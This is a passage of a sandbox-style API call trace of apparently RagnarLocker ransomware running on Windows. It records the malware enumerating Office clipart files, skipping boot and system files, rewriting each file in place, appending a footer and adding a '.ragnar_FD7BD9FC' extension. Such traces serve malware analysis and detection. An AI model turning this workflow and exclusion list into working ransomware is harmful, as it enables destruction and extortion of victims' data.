lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x276a, lpOverlapped=0x0) returned 1 [0092.645] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x276a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.645] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.646] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x276a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.646] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.646] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.646] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.646] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0092.646] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.646] GetProcessHeap () returned 0x580000 [0092.646] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0092.646] CloseHandle (hObject=0xf4) returned 1 [0092.646] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00006_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00006_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00006_.WMF" [0092.646] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00006_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00006_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00006_.WMF.ragnar_FD7BD9FC" [0092.646] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00006_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00006_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00006_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00006_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0092.647] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6f3e600, ftCreationTime.dwHighDateTime=0x1bd4b2e, ftLastAccessTime.dwLowDateTime=0x5ae8f450, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf6f3e600, ftLastWriteTime.dwHighDateTime=0x1bd4b2e, nFileSizeHigh=0x0, nFileSizeLow=0x228c, dwReserved0=0x0, dwReserved1=0x0, cFileName="TR00095_.WMF", cAlternateFileName="")) returned 1 [0092.647] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0092.647] lstrcpyW (in: lpString1=0x1eb62e, lpString2="TR00095_.WMF" | out: lpString1="TR00095_.WMF") returned="TR00095_.WMF" [0092.647] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00095_.WMF") returned=".WMF" [0092.647] lstrcmpiW (lpString1="TR00095_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0092.647] lstrcmpiW (lpString1="TR00095_.WMF", lpString2="autorun.inf") returned 1 [0092.647] lstrcmpiW (lpString1="TR00095_.WMF", lpString2="boot.ini") returned 1 [0092.647] lstrcmpiW (lpString1="TR00095_.WMF", lpString2="bootfont.bin") returned 1 [0092.647] lstrcmpiW (lpString1="TR00095_.WMF", lpString2="bootsect.bak") returned 1 [0092.647] lstrcmpiW (lpString1="TR00095_.WMF", lpString2="bootmgr") returned 1 [0092.647] lstrcmpiW (lpString1="TR00095_.WMF", lpString2="bootmgr.efi") returned 1 [0092.647] lstrcmpiW (lpString1="TR00095_.WMF", lpString2="bootmgfw.efi") returned 1 [0092.647] lstrcmpiW (lpString1="TR00095_.WMF", lpString2="desktop.ini") returned 1 [0092.647] lstrcmpiW (lpString1="TR00095_.WMF", lpString2="iconcache.db") returned 1 [0092.647] lstrcmpiW (lpString1="TR00095_.WMF", lpString2="ntldr") returned 1 [0092.647] lstrcmpiW (lpString1="TR00095_.WMF", lpString2="ntuser.dat") returned 1 [0092.647] lstrcmpiW (lpString1="TR00095_.WMF", lpString2="ntuser.dat.log") returned 1 [0092.647] lstrcmpiW (lpString1="TR00095_.WMF", lpString2="ntuser.ini") returned 1 [0092.647] lstrcmpiW (lpString1="TR00095_.WMF", lpString2="thumbs.db") returned 1 [0092.647] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0092.647] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0092.648] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0092.648] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0092.648] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0092.648] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0092.648] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0092.648] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00095_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00095_.wmf")) returned 0x20 [0092.648] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00095_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00095_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0092.648] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=8844) returned 1 [0092.648] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2283, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.648] GetProcessHeap () returned 0x580000 [0092.648] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0092.648] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0092.650] VirtualAlloc (lpAddress=0x0, dwSize=0x228c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0092.650] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.650] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0092.650] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x228c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x228c, lpOverlapped=0x0) returned 1 [0092.651] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0092.651] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x228c, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.651] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x228c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x228c, lpOverlapped=0x0) returned 1 [0092.651] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x228c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.651] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.651] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x228c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.651] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.652] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.652] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.652] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0092.652] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.652] GetProcessHeap () returned 0x580000 [0092.652] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0092.652] CloseHandle (hObject=0xf4) returned 1 [0092.652] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00095_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00095_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00095_.WMF" [0092.652] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00095_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00095_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00095_.WMF.ragnar_FD7BD9FC" [0092.652] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00095_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00095_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00095_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00095_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0092.653] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ba13300, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6ba13300, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x9fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="TR00097_.WMF", cAlternateFileName="")) returned 1 [0092.653] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0092.653] lstrcpyW (in: lpString1=0x1eb62e, lpString2="TR00097_.WMF" | out: lpString1="TR00097_.WMF") returned="TR00097_.WMF" [0092.653] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00097_.WMF") returned=".WMF" [0092.653] lstrcmpiW (lpString1="TR00097_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0092.653] lstrcmpiW (lpString1="TR00097_.WMF", lpString2="autorun.inf") returned 1 [0092.653] lstrcmpiW (lpString1="TR00097_.WMF", lpString2="boot.ini") returned 1 [0092.653] lstrcmpiW (lpString1="TR00097_.WMF", lpString2="bootfont.bin") returned 1 [0092.653] lstrcmpiW (lpString1="TR00097_.WMF", lpString2="bootsect.bak") returned 1 [0092.653] lstrcmpiW (lpString1="TR00097_.WMF", lpString2="bootmgr") returned 1 [0092.653] lstrcmpiW (lpString1="TR00097_.WMF", lpString2="bootmgr.efi") returned 1 [0092.653] lstrcmpiW (lpString1="TR00097_.WMF", lpString2="bootmgfw.efi") returned 1 [0092.653] lstrcmpiW (lpString1="TR00097_.WMF", lpString2="desktop.ini") returned 1 [0092.653] lstrcmpiW (lpString1="TR00097_.WMF", lpString2="iconcache.db") returned 1 [0092.653] lstrcmpiW (lpString1="TR00097_.WMF", lpString2="ntldr") returned 1 [0092.653] lstrcmpiW (lpString1="TR00097_.WMF", lpString2="ntuser.dat") returned 1 [0092.653] lstrcmpiW (lpString1="TR00097_.WMF", lpString2="ntuser.dat.log") returned 1 [0092.653] lstrcmpiW (lpString1="TR00097_.WMF", lpString2="ntuser.ini") returned 1 [0092.653] lstrcmpiW (lpString1="TR00097_.WMF", lpString2="thumbs.db") returned 1 [0092.653] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0092.653] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0092.653] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0092.653] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0092.653] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0092.654] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0092.654] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0092.654] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00097_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00097_.wmf")) returned 0x20 [0092.654] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00097_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00097_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0092.654] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2556) returned 1 [0092.654] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x9f3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.654] GetProcessHeap () returned 0x580000 [0092.654] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0092.654] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0092.656] VirtualAlloc (lpAddress=0x0, dwSize=0x9fc, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0092.656] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.656] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0092.656] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x9fc, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x9fc, lpOverlapped=0x0) returned 1 [0092.656] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0092.656] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x9fc, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.656] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x9fc, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x9fc, lpOverlapped=0x0) returned 1 [0092.656] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x9fc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.656] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.656] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x9fc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.657] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.657] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.657] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.657] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0092.657] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.657] GetProcessHeap () returned 0x580000 [0092.657] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0092.657] CloseHandle (hObject=0xf4) returned 1 [0092.657] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00097_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00097_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00097_.WMF" [0092.657] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00097_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00097_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00097_.WMF.ragnar_FD7BD9FC" [0092.657] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00097_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00097_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00097_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00097_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0092.658] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98217300, ftCreationTime.dwHighDateTime=0x1bd4b14, ftLastAccessTime.dwLowDateTime=0x5ae8f450, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x98217300, ftLastWriteTime.dwHighDateTime=0x1bd4b14, nFileSizeHigh=0x0, nFileSizeLow=0x25bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="TR00116_.WMF", cAlternateFileName="")) returned 1 [0092.658] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0092.658] lstrcpyW (in: lpString1=0x1eb62e, lpString2="TR00116_.WMF" | out: lpString1="TR00116_.WMF") returned="TR00116_.WMF" [0092.658] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00116_.WMF") returned=".WMF" [0092.658] lstrcmpiW (lpString1="TR00116_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0092.658] lstrcmpiW (lpString1="TR00116_.WMF", lpString2="autorun.inf") returned 1 [0092.658] lstrcmpiW (lpString1="TR00116_.WMF", lpString2="boot.ini") returned 1 [0092.658] lstrcmpiW (lpString1="TR00116_.WMF", lpString2="bootfont.bin") returned 1 [0092.658] lstrcmpiW (lpString1="TR00116_.WMF", lpString2="bootsect.bak") returned 1 [0092.658] lstrcmpiW (lpString1="TR00116_.WMF", lpString2="bootmgr") returned 1 [0092.658] lstrcmpiW (lpString1="TR00116_.WMF", lpString2="bootmgr.efi") returned 1 [0092.658] lstrcmpiW (lpString1="TR00116_.WMF", lpString2="bootmgfw.efi") returned 1 [0092.658] lstrcmpiW (lpString1="TR00116_.WMF", lpString2="desktop.ini") returned 1 [0092.658] lstrcmpiW (lpString1="TR00116_.WMF", lpString2="iconcache.db") returned 1 [0092.658] lstrcmpiW (lpString1="TR00116_.WMF", lpString2="ntldr") returned 1 [0092.658] lstrcmpiW (lpString1="TR00116_.WMF", lpString2="ntuser.dat") returned 1 [0092.658] lstrcmpiW (lpString1="TR00116_.WMF", lpString2="ntuser.dat.log") returned 1 [0092.658] lstrcmpiW (lpString1="TR00116_.WMF", lpString2="ntuser.ini") returned 1 [0092.658] lstrcmpiW (lpString1="TR00116_.WMF", lpString2="thumbs.db") returned 1 [0092.658] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0092.658] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0092.658] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0092.658] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0092.658] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0092.658] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0092.658] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0092.658] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00116_.wmf")) returned 0x20 [0092.659] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00116_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0092.660] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=9660) returned 1 [0092.660] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x25b3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.660] GetProcessHeap () returned 0x580000 [0092.660] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0092.660] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0092.661] VirtualAlloc (lpAddress=0x0, dwSize=0x25bc, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0092.661] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.661] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0092.661] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x25bc, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x25bc, lpOverlapped=0x0) returned 1 [0092.662] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0092.662] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x25bc, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.662] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x25bc, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x25bc, lpOverlapped=0x0) returned 1 [0092.662] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x25bc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.662] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.663] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x25bc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.663] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.663] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, 